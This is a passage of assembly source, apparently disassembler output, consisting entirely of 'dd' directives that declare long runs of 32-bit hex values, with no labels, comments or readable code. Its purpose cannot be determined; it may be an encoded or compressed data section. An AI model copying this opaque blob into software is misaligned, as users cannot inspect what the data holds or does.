		dd 183C01CEh, 339BC012h, 5CC84803h, 0CD109762h,	51B600F3h
		dd 34009446h, 8C0C1FF4h, 0FF7158h, 6A6C325Dh, 0C629E676h
		dd 5B7C001h, 0DD41AA0Bh, 21C90898h, 0C6000201h,	81754F5Ch
		dd 6368EDh, 6914E4DBh, 8B623D10h, 0ECBA2E18h, 61DCF89Eh
		dd 0D386381Fh, 0EA60D4C9h, 3309FB03h, 0A30A2BF1h, 21211D6Dh
		dd 0BA1040C1h, 9EFF6F8Eh, 0C285D800h, 8749661Eh, 751C0673h
		dd 30713903h, 0C7000AF0h, 0C19490F9h, 3AEF1910h, 3B3012E9h
		dd 0F9FF3121h, 90C4180Ch, 20C13Fh, 482DB853h, 6D7EBA51h
		dd 0B0D8377Dh, 29898621h, 1F5CC56Fh, 0EBBD68E4h, 886E5C48h
		dd 0AFEAFC2Ch, 90D5A70Ch, 3FD110h, 9DBE803h, 68DFB069h
		dd 7C00207Ch, 8C3BF8C1h, 254B656h, 0CAC980FCh, 38850686h
		dd 0BCFE80EAh, 98C0393Ah, 20D49099h, 5107168h, 0D8BB7687h
		dd 0F7B80217h, 3A566144h, 40DC460Eh, 2AA7AEDFh,	0F3160751h
		dd 70680FC8h, 0FF27CEA5h, 0D4DFF503h, 0F0EF5874h, 3E0F3883h
		dd 8D80A3DAh, 0B40E12BCh, 0AA00ACE5h, 2E417EC7h, 98895Ch
		dd 73E43399h, 2D7059ABh, 80550D39h, 520ABBC8h, 601E187Fh
		dd 0CF4A7211h, 62012695h, 0A4BF75A6h, 0FAECAD28h, 0DA3C07C5h
		dd 303BC721h, 7C560BB5h, 5F89E90Eh, 94AC87CAh, 1C2080E0h
		dd 55360288h, 0C1498CBBh, 5D641CE0h, 560002FAh,	0B876F2ABh
		dd 0B09706h, 0EAC94148h, 0AF1CE919h, 3945A07h, 0A2C19D09h
		dd 0EEF01F52h, 0D3540064h, 0F6CFEA65h, 2901949Ah, 328DDEC3h
		dd 53E099C6h, 6F700E6h,	0E916F09Dh, 8C6BFB4h, 0FA20C3D6h
		dd 50F73EBEh, 683C84BEh, 0F9305D80h, 21F82E1Bh,	33D2350Eh
		dd 0E5058E5h, 22BD1838h, 5CF411EAh, 68A60200h, 6775DF27h
		dd 0C008C60Fh, 2D002039h, 7C340317h, 796BBBE8h,	3BA37856h
		dd 0AB866D65h, 0C0FC9454h, 6655CE1Dh, 0B52458F1h, 81C26180h
		dd 2A0D4E08h, 0BFA31003h, 0C8F54027h, 7260930h,	4DE8EA71h
		dd 0BCB9D056h, 0B600B7F6h, 0E00460C1h, 1F9872ADh, 0C0ABFF35h
		dd 64B1CF54h, 0C20050D6h, 675F234Eh, 7D76BA0Dh,	5BB002Ah
		dd 0B4966BE7h, 17005ACCh, 60F68FFBh, 1DEDDEh, 0B1EAC714h
		dd 4522422Eh, 8BD8DC00h, 83059791h, 198F12BEh, 80E61E77h
		dd 0DA4C41EEh, 47006709h, 90553227h, 0E354A3h, 0CD89D9ABh
		dd 4A99E636h, 4D0C7400h, 7034F5CFh, 75D43E47h, 61ED3D00h
		dd 0C6E4AC1Bh, 1C95383Ah, 0A74188FDh, 1469210h,	0FB58C8h
		dd 31E86D45h, 593A0DADh, 47E31100h, 65CD5444h, 112F65A6h
		dd 3E047F28h, 1034B0FEh, 9885CB8Ch, 0E25707BBh,	0A1457F0Dh
		dd 0F0222B12h, 61E5DFEh, 3C8C74E6h, 84F62988h, 22788322h
		dd 0AA220539h, 117A4282h, 552150BDh, 90189108h,	0D1568E2Eh
		dd 223C1128h, 32450E4Ch, 93229481h, 0D4B9E7FBh,	9600CCC1h
		dd 57A4727Bh, 83AFC3h, 73400BDEh, 0F62646DFh, 3B005AF8h
		dd 1CFC1A82h, 784E8Dh, 518A737Eh, 0AEC5EA1Fh, 1022D112h
		dd 7F0E6B00h, 0E3B5AAh,	138157EEh, 14E8097h, 0A0C64005h
		dd 0DA00AD79h, 0A69F8FE4h, 9DC0052h, 13D7D9B0h,	0DE1E8C50h
		dd 0FF078657h, 59E03506h, 0B1DBD3h, 0BE772FA5h,	9A8AE07Bh
		dd 5C06F100h, 0DE520986h, 0D9AD1F03h, 0A60A493Ch, 38E96B00h
		dd 47903655h, 0D1576D02h, 0A011D54Eh, 0DD930BE4h, 68EB60D0h
		dd 3DC7F390h, 96EE0100h, 3C70A58Ah, 7F6F435h, 4D5D713h
		dd 0FDDF509Dh, 80165896h, 350109A1h, 7C8B7E19h,	7E4CDAF4h
		dd 52A6A04Dh, 6358C0C4h
		dd 0F9F609DDh, 9636F800h, 0AB11324Dh, 0C069132Fh, 89B50FFDh
		dd 5B567140h, 0F903D59Eh, 0B2A816DFh, 0C99FD8CCh, 0B8C000E5h
		dd 31D8F8C5h, 0CF0C5020h, 0C8438154h, 7A60067h,	9156C9E6h
		dd 0D4004A89h, 0BE2E940Ah, 3BCC571h, 1B01B242h,	0D5C066E6h
		dd 5FB8E108h, 0DD1F48E0h, 0BC80723Dh, 20C8E3Fh,	7F97C2Ch
		dd 317F378Bh, 0AE5AA01Dh, 0A600E9D9h, 16FD7287h, 1EFA1B32h
		dd 0FAAA04DCh, 66FED700h, 6F21B57Bh, 18398C00h,	7F3C2F44h
		dd 0EBEE65h, 1193C754h,	467C3DB1h, 0FE6C0300h, 53A1BFFFh
		dd 0AC3003Eh, 5D259C05h, 1003F71h, 0EA7BBA3Bh, 0FE8B2288h
		dd 0D5F80776h, 1C50551h, 0E001DACDh, 850079B4h,	0BD111C2Dh
		dd 23FC72Ah, 66500C65h,	0D440378Eh, 8B1C6D2Fh, 0FA56CD0Fh
		dd 932B4400h, 0BC2567h,	0E1099891h, 0B6B3D979h,	4CF4E900h
		dd 0ACA7697Dh, 810D3DE0h, 0F5509C83h, 62C8B289h, 2A3CCC6Dh
		dd 0FE0101C6h, 0C3DA61Dh, 48BED0h, 0B1AB426Fh, 0E8FF91F1h
		dd 6CCB9D24h, 7705AF00h, 0FC4D78A6h, 0CF9300A4h, 16385589h
		dd 74178A71h, 600D749h,	7AAA064h, 3C7602DFh, 0B40D83E1h
		dd 68126840h, 0C6413500h, 914537BFh, 3C8D139Ch,	0C0705E04h
		dd 5F152BA7h, 0F60020C5h, 0E0FCF19Eh, 447384h, 0FECCC606h
		dd 0FD8F39Dh, 47D61300h, 0CE6BF408h, 976C3D2Ch,	12907A80h
		dd 2B45AC3Eh, 0DA60B6E4h, 673C2AC0h, 4B9006Fh, 0CBFBD05Dh
		dd 6D00D28Ah, 0B0EE4DF8h, 355034h, 6683E60Dh, 9FCEE86Eh
		dd 0E3271D0Eh, 0C481478Fh, 49C07300h, 21F402D1h, 0D8444FE0h
		dd 0F64E0760h, 79E5BA00h, 233D77C1h, 17DA04F4h,	0E88A0DF9h
		dd 0E5CC009Eh, 21C6D338h, 0DDE080h, 51A54B62h, 2C7C25FCh
		dd 49078890h, 0D3D09834h, 0C8080610h, 78A200B2h, 0FECF3D5Ah
		dd 777DA622h, 701B1700h, 0C8245C2Bh, 5C88ECB7h,	4D17763Ch
		dd 57720065h, 0DE329160h, 0D7AB9FEh, 6C6A7200h,	215B23D6h
		dd 6D0007Eh, 0A00E5232h, 0E8751FFDh, 0CE608AFCh, 86E39ED2h
		dd 0EE2000D1h, 44A336DFh, 691EF004h, 0A47D5DD6h, 7E07B4C6h
		dd 6FC0E934h, 629239h, 548578D5h, 1229DFB1h, 0EF419C00h
		dd 0D8F48C9Ah, 0F0D0EDD2h, 576E4CC6h, 3DF24901h, 7A8DC251h
		dd 0A6D564C0h, 0F75600CEh, 6D10C091h, 68004081h, 24798C7Fh
		dd 0F2D438D2h, 485D00CCh, 91B05EA2h, 1018B9ADh,	6331ABA9h
		dd 288A001Ah, 0F0933A0Ah, 5D907CA1h, 65869A00h,	0E999159Dh
		dd 178800D4h, 60142DE5h, 0DA38258Bh, 0AF680F0h,	0E8F965BEh
		dd 7DC307FAh, 0F0BA7722h, 7F234AB7h, 0E3AD9600h, 683894AAh
		dd 52DB0059h, 0EAB9A093h, 0C307FB27h, 769FA80Eh, 63F02900h
		dd 527800C6h, 1E832048h, 94F04D67h, 0FF9B3Ch, 63E95C70h
		dd 3A2C58CFh, 0D4803C2Bh, 9B5E7F0Fh, 83FE9C6Ch,	31B6EB03h
		dd 0E83B0E79h, 38EC4B2h, 7113F0A5h, 8BB07EBEh, 0A03A718h
		dd 0D9D9F2Dh, 608E9F32h, 0A23FD949h, 0C54F00FFh, 0AB9B6E6Ch
		dd 5902B2FBh, 0BCE8020Eh, 4B404048h, 0B9A12CC4h, 0CC33007Ch
		dd 2B77D4A2h, 0F8944207h, 35B0D8EFh, 296593Bh, 607DFECDh
		dd 0A241A7EAh, 0E22CC44Fh, 7F86BA00h, 0B7ED0697h, 0F2DD3DD7h
		dd 0C53024B0h, 2E00FA68h, 7FB4B3B2h, 38A43967h,	970044F9h
		dd 838BD4E7h, 23EE7E91h, 0D5114100h, 885D846h, 635A3C43h
		dd 0AC588617h, 0A7360E85h, 9C0603CAh, 69C00045h, 726F7994h
		dd 0A101E533h, 970116E8h, 0C8409DFAh, 0D70741h,	17FBB7A6h
		dd 68433C0Bh, 28579713h, 6D713000h, 207C204h, 93B1C177h
		dd 0A043B27Eh, 65CB91D0h, 3334BC49h, 0B81530F1h, 40C92Eh
		dd 22CBBE06h, 787C0A9Eh, 5F7D4A00h, 0A36AEACEh,	139F13A0h
		dd 0EB5401F0h, 0C8094529h, 9D3CFF18h, 6A78007Eh, 68AA6419h
		dd 0CB070024h, 0A1E12FDh, 7600872Ch, 0F4BF35B3h, 257E6D7h
		dd 0AA559927h, 24E3F34Bh, 865852D0h, 7C5D1304h,	0F0C02FDAh
		dd 0C3E7D6h, 8C907F4Dh,	0FF46C705h, 0DB005E73h,	747319BEh
		dd 252001h, 0ABFE0F8Dh,	0E1F7BC8Eh, 7BDBB500h, 0AA5176ECh
		dd 0B21D00E7h, 930E08D0h, 0E100E42Eh, 4170E8C8h, 0E0F8A2h
		dd 0D7B4EDF3h, 0EA5136F2h, 0AA9CDC01h, 499F617h, 9F40BAC1h
		dd 0B845AF7Fh, 1A500060h, 7A605E06h, 1500FDCDh,	96672D20h
		dd 885B18h, 37037784h, 326BAF0Ch, 636A3100h, 17356687h
		dd 0D1E2C8h, 675A24B6h,	967A746Eh, 74E4F95Ch, 2D1FDC26h
		dd 71C1023Fh, 60AFBE52h, 3D588254h, 0E080DE35h,	62D5F05Bh
		dd 5700AACBh, 8FAE1888h, 1EC5F655h, 0C09960D8h,	3EF29C53h
		dd 20B9119h, 0A7AE63h, 0C3C87264h, 9731004Eh, 0D2BFCC2Eh
		dd 5F25183Bh, 0C9180047h, 0E8BC564h, 0B9010C39h, 1ADD32E0h
		dd 0E298F73Bh, 0E90AE60h, 78EBDFFBh, 0A19D01D8h, 2C822D54h
		dd 3840CE03h, 35005581h, 0C357B2F9h, 1A1EC0h, 9854AB72h
		dd 0B056C14h, 0B700097Ch, 444785E7h, 0FA4A4Ch, 0EE69AD02h
		dd 0D23C9ACFh, 0E582A5Ch, 0A35D7549h, 0E2393AF8h, 0B9096121h
		dd 5B2EC0h, 0A355EC67h,	69D1B653h, 1C4E5C0Fh, 1DF89CAh
		dd 0CD57AF30h, 0EE120C73h, 0D25000F2h, 573C8D9h, 0AE7ABE00h
		dd 31A48EAh, 4CFC00B7h,	8E4959Eh, 7E030676h, 0BF202530h
		dd 0C3A0CFD7h, 0F68734h, 5741DE5Ah, 3875A422h, 5C2F1803h
		dd 0E047A74Ah, 18CEC8DDh, 0CEA67406h, 8900C066h, 24672AE4h
		dd 681B2Eh, 7B9B8122h, 93A05FEEh, 6FC21F01h, 0D1A9FF14h
		dd 7718A8CBh, 0E12D023Bh, 2EDF4D8Dh, 50E038E1h,	0D638C568h
		dd 66221300h, 0ED01794Ah, 8F7AFAh, 11E5EE04h, 97B43C27h
		dd 911BCF12h, 44760400h, 39C72362h, 478106ACh, 0F3082A1Eh
		dd 7714701Ah, 80EE5B3Ch, 9EA56E15h, 29876B9h, 0B0D3CCFFh
		dd 486163F4h, 0D0CEFC4Dh, 8FCED00h, 6F060C10h, 5CB95C32h
		dd 3F259E0Fh, 0FFB58FC3h, 0F32C61E8h, 14A5F001h, 136ABB8h
		dd 0A802082Ch, 1BF9C7E9h, 6A534C68h, 0C027751Dh, 0C602CBDEh
		dd 0C4D5A7C4h, 1E687100h, 80F793E5h, 0B2CB10C9h, 0ECB8923Dh
		dd 0A0DE0200h, 5B43C03Ch, 0E024920Bh, 707600AFh, 8D3F476Eh
		dd 9400F3E1h, 3844F49Fh, 178A436Dh, 40E23926h, 0FBCDCBE8h
		dd 5100C248h, 0F82CF622h, 18CAD9h, 0A0AE367Ch, 0E4D2A176h
		dd 0F02FF00h, 60634CDCh, 0ABC0C004h, 0BD3ABE0Eh, 82C5FD00h
		dd 984E444Dh, 8161C7Ah,	269F31h, 0B43BD054h, 0D20745A4h
		dd 55D7F913h, 0B175A8A0h, 0C0D0074h, 20CD2C6Dh,	4A002F61h
		dd 0C0EA6BFCh, 1FFD01D6h, 16DC1CCh, 2A60C3EDh, 2912C05Eh
		dd 31B380h, 9251F45Fh, 9EC8B2BFh, 0A87E2CE4h, 7E5D4D00h
		dd 0AE950DA6h, 80DC00F1h, 6C34018Bh, 0F909A598h, 60D7E35Dh
		dd 31375FCh, 94097936h,	3A9189C5h, 0C1BC2941h, 760F614Fh
		dd 91E2ADCh, 66498EE1h,	2BE248C0h, 16FFA3Eh, 8A2F1AC7h
		dd 85FB2C37h, 0E1A2B481h, 998FC4h, 12FE721Fh, 14B3C542h
		dd 0A9885900h, 66545F69h, 0EBBD00C2h, 2AF5B817h, 0FC98DE0Fh
		dd 0EA00E0B0h, 0A6A426D7h, 247967D9h, 92C40B3h,	0B0C0DE54h
		dd 0E90B41BEh, 80A18439h, 0A4BFF513h, 0C75A0568h, 0EB8B88F3h
		dd 4F8E5805h, 3359DC80h, 0E5BD25ABh, 0F20BF080h, 0D12697B8h
		dd 7A05D4ADh, 702053C9h, 2463ACE7h, 3800F02Dh, 0A02CC084h
		dd 60A4C0C6h, 160085E3h, 294246C9h, 48A43F84h, 0F73F3265h
		dd 0D5BC2600h, 8861671Dh, 504EE102h, 0C3129DF2h, 0B611001Ah
		dd 0A0FFADF7h, 460E414Dh
		dd 2060D597h, 5ECA5243h, 0BC180CA9h, 0AC202839h, 6B33BB03h
		dd 0A82DB516h, 7D3CDE22h, 637E00E3h, 891581B6h,	0FEFC4213h
		dd 0DF0B850Ch, 0A06846h, 0B8DE4A77h, 8020ADCAh,	0A36E1200h
		dd 0C655A47h, 233C197Ah, 0C1F280C2h, 45F8015Bh,	307C3BECh
		dd 5448DFD0h, 6B58E171h, 5F921F49h, 0A947A80h, 0F08C75h
		dd 620E96F4h, 7930E86Ch, 3C665700h, 0AD61B363h,	726E45Eh
		dd 45540D84h, 0A7CB801Eh, 9A00CC65h, 1AE56E10h,	0A91714h
		dd 0BE36AFB6h, 582FBE4h, 69A38800h, 14A1CAE5h, 2B680B9Ch
		dd 507071ABh, 0D871100h, 0FFBC27BDh, 9F3D0307h,	3CD98570h
		dd 0C494FC90h, 76A7CE30h, 4ED2C1h, 0ED0614Bh, 38AEE56Ah
		dd 0DCCB9E00h, 15BAC4D3h, 46C2005Fh, 3F684BD6h,	2D000D69h
		dd 0B15245B0h, 986C0F9Bh, 0EB3B0738h, 318F7481h, 0C4FCC753h
		dd 4B01E424h, 60513AA6h, 0F2DCF748h, 0F9B8F9h, 0BCB87268h
		dd 4FE31EEBh, 6408B0A0h, 0A143C700h, 370B6B04h,	4A3F00B6h
		dd 32D65E59h, 0DD0018B0h, 45A5367Ah, 1D575BEEh,	40B64A1Eh
		dd 8E88F16Ah, 6600C553h, 8A1C7F48h, 20E229h, 6D71550h
		dd 0F45DB578h, 67234700h, 18AC841Bh, 1D122899h,	266A00E0h
		dd 8B22F66Eh, 2C004391h, 665B0CE4h, 1414274Fh, 0ACCC94B2h
		dd 4921B000h, 0DF4B86B5h, 0DBAA0600h, 0FE453E1Fh, 0F4D50763h
		dd 0E3C16E37h, 0F8B04038h, 0CC4825A2h, 2DA51E28h, 0AB76A0h
		dd 9314CD39h, 3183EC4Ch, 5ED1BF0Ah, 0AD1DE847h,	1902F800h
		dd 6324389h, 0FB6BF987h, 0DF00100Fh, 4BD58611h,	19990CBh
		dd 6524A9B2h, 30CC03E3h, 0E83E9F99h, 8CF10069h,	676C0D3Ah
		dd 7D563D63h, 40ECBF00h, 1A21D0FEh, 0E906DD00h,	0EE929D0Dh
		dd 33490F12h, 0E800A7EFh, 0CF020594h, 1ECE5D00h, 0B3AE2921h
		dd 6F9E1718h, 0B8B6075Fh, 0EF11D26Dh, 80249448h, 0BE66F300h
		dd 0E31F8820h, 0CE2A00C2h, 55024A76h, 9900148Ch, 9A29DA1Eh
		dd 0F8B02FA3h, 179B01AEh, 1A0356CDh, 44446026h,	0DEC86B05h
		dd 0E402C60Ah, 30E2BBF1h, 0F000693h, 0FEF239A2h, 240255EEh
		dd 2CA0CE44h, 738039D7h, 0E0068D92h, 8C01C2F3h,	0D450FDBBh
		dd 0F0CC4A32h, 4F9A0061h, 379C5A83h, 3F00B229h,	207DE3EAh
		dd 744D05Eh, 0EBCCA2BCh, 9D5230DCh, 66001B0Dh, 3B2D22CBh
		dd 7223175Bh, 5D501C3h,	0AFB12DEh, 260EECD4h, 1073AA00h
		dd 9D47D360h, 0A6680005h, 5892856Fh, 3800C1A1h,	0ADEC3E0Ch
		dd 3EB54595h, 0E580F299h, 1B66F66Ch, 0BE0F32AFh, 40608B5Bh
		dd 368C975h, 91413FB4h,	0C42CA380h, 3CA9370Fh, 0B757A100h
		dd 3EE6FE55h, 0EC5C00B6h, 0EDBE74C2h, 5300DCD8h, 1C9D2FA0h
		dd 0CF93DEh, 0FA800281h, 0BC7FCA9Bh, 642D420Fh,	0B84013D6h
		dd 4DBAC2E1h, 0D04039BDh, 0B03821E0h, 0D600E4C3h, 432B5E15h
		dd 0ACCB9Ah, 376211EEh,	91A8A07h, 0EF796600h, 0A7EA1298h
		dd 665725Dh, 0CC20A597h, 9A006047h, 0F16F4C4h, 186E2E4Ch
		dd 188FC081h, 0F63A4DD6h, 27EE0A5Fh, 9D3A18CEh,	0A03016E6h
		dd 30674691h, 0A208A896h, 50008133h, 2A716A4Ch,	0F25134h
		dd 8862CD8h, 871385AFh,	0BA4FB300h, 5FFF1C6Bh, 50090571h
		dd 80D673C2h, 3D0C1A13h, 67AEAF07h, 3C4A17D1h, 20A3A003h
		dd 0F83AE0B5h, 0C7873EF6h, 8ECEA187h, 0A0995712h, 9E9C230Eh
		dd 22205D0Bh, 0A4B408D1h, 3D021B81h, 0B0BCBE91h, 209C0861h
		dd 363040CDh, 9307F0FAh, 0BE443F40h, 0C0BCF3A2h, 0B8A1AD72h
		dd 63CB00D2h, 2C5C539Ah, 0F607029Bh, 58D64FEAh,	0E40B803Eh
		dd 0B8A62Bh, 8B6DF3FBh,	0D2A43054h, 76E31A39h, 215F2702h
		dd 60FB687Fh, 6D5D0Ch, 0FA9D2E73h, 0FDEA01CCh, 0F3C3F900h
		dd 0C6BA0E58h, 20170033h, 6C82A0AAh, 110047C7h,	0E1528157h
		dd 969B7h, 0FA72831h, 0FD1D6E4Dh, 0A554920Fh, 3EC0FE50h
		dd 0BC3189A0h, 0DE84004Ch, 1D430839h, 0F3BE148h, 157153Bh
		dd 159A0090h, 7C741F90h, 88E90CACh, 4318490Bh, 2D665E00h
		dd 4CA26A2Ah, 96461807h, 0AD973998h, 9C295163h,	5E8358h
		dd 6386B851h, 1DFE35B5h, 4B3B13B8h, 50768044h, 0D1B10DF0h
		dd 0F7FD60h, 7040C340h,	5A9DDA27h, 868D3D00h, 711DD2BCh
		dd 1F826h, 8E4F4014h, 0E3EE9C19h, 0B3D0B805h, 8B031D76h
		dd 0C0D15923h, 911C58h,	0CF196B5Eh, 9C44641Bh, 868EA800h
		dd 3E237BCBh, 62DA00D0h, 78F50C3Fh, 0BF00761Ch,	0EE7DE919h
		dd 1A165DCh, 0C528B179h, 70CE6CBAh, 410627D9h, 650DB9F7h
		dd 46A312E1h, 78D42092h, 6A7016ACh, 0A4214560h,	141ABD6h
		dd 79A24C8Dh, 2424E8AEh, 0C00B39Ch, 5FE25442h, 6C9D0A5h
		dd 0C897DDA4h, 96F06807h, 0F6465D00h, 0E79B312Eh, 78C7001Ah
		dd 6B8D833Ah, 0C3000C7Fh, 0E36325BFh, 7A86FBh, 0E5275F80h
		dd 0AE6A682Ch, 7FD1CB00h, 0D9C601E6h, 0AA1B0063h, 7BF3B39h
		dd 0B6003FC2h, 49772910h, 457C3BCh, 4339F9E2h, 0B918800Ch
		dd 0D900D0F8h, 825C31F0h, 0F2FB1F6Ah, 24BA0043h, 219F1D87h
		dd 67005D28h, 0A769AF1Ah, 313ADFCh, 0B964BD05h,	0DDD0AAE3h
		dd 0CE1EDA08h, 9300F056h, 4BF590D5h, 0FE6D1D3Fh, 16C40B3h
		dd 0E998E323h, 35C54E09h, 0F885807Bh, 3FDDC3D3h, 5805E53Eh
		dd 809060E7h, 5FC21854h, 0B9FBE200h, 3E204F7Ch,	10950031h
		dd 21521F81h, 0F901A082h, 0CE13D7Bh, 6E4C1E5h, 39710F49h
		dd 5C8009A2h, 132D0EA5h, 231BD300h, 32EE81C7h, 0AAC30012h
		dd 56EC0C63h, 8800145Ch, 541EDDD6h, 613AEF15h, 0A1C0955h
		dd 0CD1080F9h, 2B7744CCh, 0A35D000Ch, 529EE87h,	48015C7Dh
		dd 0AB80731Ch, 0F61B851h, 84592990h, 27447EE2h,	522D4481h
		dd 28423548h, 211B2469h, 0B1114BACh, 7BD411A7h,	54114F12h
		dd 22848D08h, 0E3507511h, 60441B50h, 0C614A089h, 8D78976h
		dd 0E561446Fh, 89167F84h, 0F03C410Bh, 10E11253h, 0FF898C36h
		dd 68445D08h, 0C56E89BDh, 573DE8FDh, 0A11F9177h, 3680F91Fh
		dd 98323F08h, 1A7E0Ah, 0F183D4EEh, 0EF24F6E0h, 4FD3B500h
		dd 19A5EAFAh, 818E001Ah, 351F0D7Fh, 1800F99Fh, 0C60CE3B5h
		dd 0F00F3E50h, 0ECAD00BBh, 54B9A2B1h, 3600E28Dh, 6EFEAAC5h
		dd 1C391Ah, 25408BB2h, 0ADB071A0h, 7BC82000h, 1A8C0B02h
		dd 0A1741E32h, 853C408Dh, 82CB2D0Ch, 9FAF9538h,	0EEEE649Bh
		dd 0FAC5E802h, 0D8204B4Ch, 7BB3BAh, 0E051B80Eh,	2D6E27B2h
		dd 8311C803h, 0F88CAEE5h, 704D4030h, 509363F9h,	0A7D08253h
		dd 0DC0480D6h, 41F336C5h, 9F29B800h, 0B92C085Bh, 66006E86h
		dd 19F6C981h, 489B00BBh, 0FF493E97h, 877B8D65h,	79ED7800h
		dd 16CED821h, 0D1640291h, 976EAE52h, 0C86C6CC0h, 0A0244300h
		dd 634626ABh, 51613865h, 49C0F781h, 0FCB20FA2h,	0C7005276h
		dd 35F0DF0Ah, 870143h, 886DAC8Fh, 3B77C153h, 93D47A07h
		dd 8980E447h, 1A270DDh,	2D396273h, 0E076686Dh, 0FB84605h
		dd 71031E00h, 94C19FFFh, 893E005Dh, 54664B56h, 0FE79B52Ch
		dd 19760C01h, 6940BC20h, 0CD1BC8h, 3932A9CAh, 0C716904Ch
		dd 59AF660Bh, 0F8F68054h, 0D8D14Dh, 4A0A1A26h, 1E947BA1h
		dd 0A4D00630h, 196EEDCh, 9190E4B1h, 0C80B1AB3h,	6905F71Eh
		dd 93C54C79h, 0FF304E87h, 9C79E34h, 2255B0B4h, 0D7030480h
		dd 0F50301C2h, 185BFDF6h, 0F143A8A3h, 0AB2E069Fh, 6053B4A8h
		dd 7F209D00h, 0D5CE55FDh, 0BB8F0026h, 0E4236ECFh, 1D3B9831h
		dd 3D480D1h, 81AF9B86h
		dd 0C65F3E74h, 0B680B93Fh, 2FB185ADh, 5400D428h, 14A31955h
		dd 3A794B66h, 0E4A4586Ah, 35ED0350h, 3B0D67Ch, 0FB584C0Eh
		dd 0AA0B00FFh, 63368E17h, 7CFA0029h, 0F93045E9h, 0C0FBB238h
		dd 0FC000FC5h, 0D3F4C772h, 7527F5F8h, 7BF60B18h, 8180102Bh
		dd 0F409FEBDh, 0BE066490h, 0A1BC7627h, 2E460028h, 0CC9A3B60h
		dd 1300ED20h, 845CA0D8h, 0F42D63h, 0D72E4A86h, 28DC6164h
		dd 96508F00h, 0BB71AC05h, 87B90068h, 35D2D4E0h,	0CB00A02Dh
		dd 0BCC9C5DDh, 0EE74D7Ch, 0F45B8F7Ah, 0EF0A6A80h, 4200ED49h
		dd 38F74AF1h, 66059Bh, 769D7DDBh, 0FFB74B3h, 6F7E3901h
		dd 970EC798h, 5A8066B8h, 476BE5B7h, 6212E3FEh, 670513F9h
		dd 17C5E433h, 8541A81Eh, 0EC19BB2Bh, 0EE561C0h,	0C48363DCh
		dd 6C7C6B20h, 1F753AB6h, 41291200h, 0EF521BC1h,	2A1003B7h
		dd 0DE6CB3D9h, 8667FA80h, 0B4D74500h, 5A394BB9h, 0A5901451h
		dd 80C08029h, 0D4D16A89h, 99F9E903h, 984855CCh,	91326Fh
		dd 0FC335AA9h, 0CBCA2F8Dh, 3E00677Ch, 0CEBE0B2Dh, 0F8DE5112h
		dd 0F6ACA0C2h, 0D8E08Fh, 32A417C4h, 0FD106B1Bh,	0FA2477B0h
		dd 380096A7h, 26546857h, 0C0610509h, 66BFAEh, 94CA06F3h
		dd 4E0772AFh, 9AB61D84h, 0A0FAB8E0h, 0D8FF0075h, 356AD9E7h
		dd 1000F2BEh, 0BFAD60D0h, 0AB63CDh, 1D65AC16h, 0B1ED2386h
		dd 6C8ABA00h, 9CC8607Ah, 8E722Eh, 0FAB6F963h, 0F9474BBh
		dd 0D99B5100h, 8C551A2Fh, 752B00A7h, 73C2B5F4h,	3006C06h
		dd 12CC9DDEh, 4853BBD6h, 2C003C63h, 68BABC08h, 0E3587826h
		dd 0B69F1339h, 0E589C18h, 0A43700CCh, 847185F7h, 5102DBF9h
		dd 5986AA3Fh, 0A314E029h, 9D330044h, 24C1086Dh,	0BC0326B5h
		dd 0A9525431h, 0F887D0F0h, 1EF442h, 0BFCFED2Ch,	13ABD83Fh
		dd 0AD6BA801h, 0F21FC701h, 94A7A840h, 12C30077h, 225EB9E3h
		dd 5D1C7918h, 0BCC073FCh, 90C43965h, 0FF1100C6h, 0B9A09D96h
		dd 0F9F41949h, 1CE60100h, 92EC34B3h, 235A17B1h,	65F103EBh
		dd 0B0F803EDh, 1A036DCEh, 0D1151CCFh, 4328014Fh, 5D56C7DFh
		dd 0A68C40EEh, 38018403h, 0B49C4C04h, 35FC9496h, 5DFB0F6Dh
		dd 4FE05739h, 62A1C658h, 0D4261E7Bh, 7400A48Ch,	0E22749BAh
		dd 317FADAh, 8FA7D909h,	21EA425Ch, 55727460h, 3CA4F4EFh
		dd 0D40098FAh, 0CF9A4AC0h, 0F041E817h, 4045000Eh, 3C5D4891h
		dd 0F005737h, 0DBFB95C2h, 1F08EFh, 6A947E30h, 2BBFB3B6h
		dd 0A403071Ch, 806335CEh, 0B7A8CA1Ch, 0F6B901D3h, 6D25D7E3h
		dd 0C9ADF467h, 1158D0A0h, 534E680Eh, 217A20EEh,	3B1B31h
		dd 0AEAB2FE7h, 0E2EDAA5Dh, 1E0F87Fh, 0AC3ABB00h, 3011B41Bh
		dd 6C9700FEh, 68F8AF54h, 8E00D192h, 6EDB2B80h, 413A46h
		dd 0E2AD0E99h, 577F6C9Ah, 8000247Dh, 23640B5Bh,	74544939h
		dd 0BFDF00B3h, 0A48CB520h, 5F501B5Dh, 0BC03D8C0h, 0E80C7E86h
		dd 0DF47D09Bh, 0B0430042h, 0C950F992h, 3800548Fh, 177D69B6h
		dd 7D32FE1h, 763B46DAh,	0D863A004h, 0D9FC59D0h,	0B091733Bh
		dd 0C81DF8C7h, 8648123Dh, 2CF400C3h, 2A4CEE6Bh,	0D900137Dh
		dd 3CDDF369h, 0E5E9E6h,	6AC16241h, 8B0858BEh, 878FEF00h
		dd 2C869CF0h, 253A00AAh, 2D27954Dh, 5898FBD1h, 0EB008871h
		dd 37E79EE1h, 4C3AC0h, 2BA697ACh, 476EB9F2h, 0B5624B00h
		dd 8BB842BDh, 50AC030Fh, 61920C86h, 9EEFE1D0h, 2637D424h
		dd 0B2525E00h, 77BCCB11h, 0A890A0CFh, 0EB8004Ch, 0EFD9F25Ch
		dd 0B300EE2Bh, 0E92340D2h, 201AA0h, 0F9E38784h,	0BFC5680Dh
		dd 0F66B6500h, 0AC553CCAh, 20A70074h, 2449A8F8h, 0BA40C89Dh
		dd 7CF2B08Dh, 3FF703CDh, 0FA10466Bh, 91F8DCCBh,	0C90EA62Eh
		dd 871A21B3h, 8AE0ACF0h, 48EF153Bh, 4806481h, 0B833180Fh
		dd 48C4DB4Ch, 94500001h, 79C95736h, 0C2EC0FC0h,	7FC56A65h
		dd 990C83A9h, 97CF7A80h, 20D81900h, 3CDEB1FEh, 8F2107A2h
		dd 67605416h, 0D43630B9h, 7A5852C2h, 326303C4h,	0C866FFF9h
		dd 1E39376Dh, 31F885h, 5510D67Bh, 2A3B3583h, 60F67471h
		dd 4E818801h, 0D39ACDA3h, 0C96AF60h, 427903DFh,	0D501BBC8h
		dd 9E1EEB11h, 0A760258Ah, 0E1A0065h, 6FA99390h,	0CE00B273h
		dd 6A978D4Ch, 1ECC3F47h, 1C708Bh, 0BC451231h, 110F2B51h
		dd 1F87A73Bh, 0BD18F900h, 327336Ah, 7882809Fh, 8FC041EEh
